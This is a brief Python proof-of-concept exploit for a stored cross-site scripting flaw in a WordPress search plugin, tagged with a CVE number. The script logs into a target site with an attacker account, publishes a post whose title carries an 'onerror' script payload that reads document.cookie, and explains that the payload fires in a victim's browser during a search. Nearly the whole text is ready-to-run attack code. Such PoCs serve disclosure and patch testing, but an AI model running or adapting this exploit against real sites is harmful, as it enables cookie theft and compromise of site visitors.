CVE-2026-0694

# WordPress SearchWiz Plugin Stored XSS PoC # CVE-2026-0694 # Target: WordPress site with SearchWiz plugin <= 1.0.0 import requests from bs4 import BeautifulSoup target_url = "http://target-wordpress-site.com" username = "attacker_account" password = "attacker_password" session = requests.Session() # Step 1: Login to WordPress login_url = f"{target_url}/wp-login.php" login_data = { "log": username, "pwd": password, "wp-submit": "Log In" } session.post(login_url, data=login_data) # Step 2: Create a post with XSS payload in title post_url = f"{target_url}/wp-admin/post-new.php" xss_payload = '<img src=x onerror=alert(document.cookie)>' post_data = { "post_title": xss_payload, "post_content": "Test content", "post_status": "publish", "publish": "Publish" } session.post(post_url, data=post_data) # Step 3: When victim searches, XSS will be triggered # Search URL: {target_url}/?s=<search_term> # The XSS in post title will execute in victim's browser

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